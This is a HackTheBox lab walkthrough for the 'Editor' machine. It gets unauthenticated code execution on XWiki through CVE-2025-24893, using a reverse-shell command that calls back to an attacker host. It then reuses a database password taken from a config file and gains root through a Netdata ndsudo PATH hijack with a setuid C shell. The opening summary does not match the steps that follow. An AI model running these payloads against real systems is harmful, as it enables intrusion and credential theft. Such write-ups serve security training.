# Editor Writeup - HackTheBox

> Linux box exploiting Overleaf-based file upload vulnerability to gain RCE, then leveraging a misconfigured sudo privilege for root escalation.

- **URL:** https://hackindex.io/writeups/editor
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/editor
- **Tags:** ssti, file-upload, rce, overleaf, privilege-escalation, suid, sudo-misconfiguration, cve-2024-32019
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-07-29

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
# 80/tcp   open  http    nginx 1.18.0 (Ubuntu)
# |_http-title: Did not follow redirect to http://editor.htb/
# 3333/tcp open  http    Python http.server (SimpleHTTP/0.6 Python/3.10.12)
# 4444/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.12)
# 8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.12)
# 8080/tcp open  http    Jetty 10.0.20
# | http-title: XWiki - Main - Intro
# |_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
```

Port 80 redirects to `editor.htb` ,  add it to `/etc/hosts`. Port 8080 runs XWiki on Jetty. Ports 3333, 4444, and 8000 are bare Python HTTP servers serving directory listings, nothing useful there.

### Virtual Host Enumeration

```bash
addhost $TARGET_IP editor.htb
# [+] Added: 10.10.11.95 → editor.htb
#
```

```bash
gobuster vhost -u editor.htb -w /usr/share/wordlists/dirb/big.txt --append-domain --xs 400,301 -t 50
# wiki.editor.htb   Status: 302 [--> http://wiki.editor.htb/xwiki]
```

Add `wiki.editor.htb` to `/etc/hosts`. Browsing to it confirms XWiki Debian 15.10.8 running on the vhost, proxied to the same Jetty instance on port 8080.

## Initial Access

### CVE-2025-24893 ,  XWiki Groovy SSTI RCE

XWiki 15.10.8 is vulnerable to CVE-2025-24893, an unauthenticated server-side template injection via the Solr search endpoint. The `SolrSearch` handler renders RSS output without sanitising Groovy template expressions, allowing arbitrary code execution without authentication.

Clone the PoC:

```bash
git clone https://github.com/gunzf0x/CVE-2025-24893
cd CVE-2025-24893
```

Start a listener:

```bash
nc -lvnp $ATTACKER_PORT
```

Fire the exploit:

```bash
python3 ./CVE-2025-24893.py -t http://wiki.editor.htb -c "busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash"
# [*] Attacking http://wiki.editor.htb
# [*] Injecting the payload:
# http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%22busybox%20nc%2010.10.15.250%201111%20-e%20/bin/bash%22.execute%28%29%7B%7B/groovy%7D%7D%7B%7B/async%7D%7D
# [*] Command executed
```

Shell lands as `xwiki`. Stabilise it:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

## Lateral Movement

### Credential Reuse via XWiki Database Config

XWiki stores its database connection details in `hibernate.cfg.xml`. On Debian-based XWiki installs the file is at:

```bash
cat /etc/xwiki/hibernate.cfg.xml
# <property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&amp;connectionTimeZone=LOCAL&amp;allowPublicKeyRetrieval=true</property>
# <property name="hibernate.connection.username">xwiki</property>
# <property name="hibernate.connection.password">$XWIKI_DB_PASSWORD</property>
```

`/etc/passwd` shows `oliver` (UID 1000) is the only human user on the box. Try the database password as oliver's SSH password:

```bash
ssh oliver@$TARGET_IP
```

It works. The password was reused directly on the system account.

## Privilege Escalation

### CVE-2024-32019 ,  Netdata ndsudo PATH Hijack

Enumerate SUID binaries:

```bash
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
# -rwsr-x--- 1 root netdata 200576 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
#
```

`ndsudo` is a Netdata helper binary with the SUID bit set, owned by root, executable by members of the `netdata` group. CVE-2024-32019 describes a PATH injection vulnerability: `ndsudo` executes commands like `nvme-list` by resolving the `nvme` binary from the current `PATH` without sanitising it, inheriting root privileges in the process.

Check group membership:

```bash
id
# uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
```

Oliver is in the `netdata` group, so `ndsudo` is reachable.

Create the fake `nvme` binary. Write the following to `nvme.c`:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}
```

Compile and stage it:

```bash
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
```

Prepend the fake directory to PATH and trigger `ndsudo`:

```bash
export PATH=/tmp/fakebin:$PATH
which nvme
# /tmp/fakebin/nvme
#
```

```bash
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
# root@editor:/tmp/fakebin#
#
```

Root shell.

Related

## References

- [OffSec](https://www.offsec.com/blog/cve-2025-24893) - CVE-2025-24893 XWiki Groovy SSTI analysis
- [https://github.com/gunzf0x/CVE-2025-24893](https://github.com/gunzf0x/CVE-2025-24893) - PoC exploit for CVE-2025-24893
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-32019) - CVE-2024-32019 Netdata ndsudo PATH vulnerability
- [https://github.com/dollarboysushil/CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation](https://github.com/dollarboysushil/CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation) -  PoC and walkthrough for CVE-2024-32019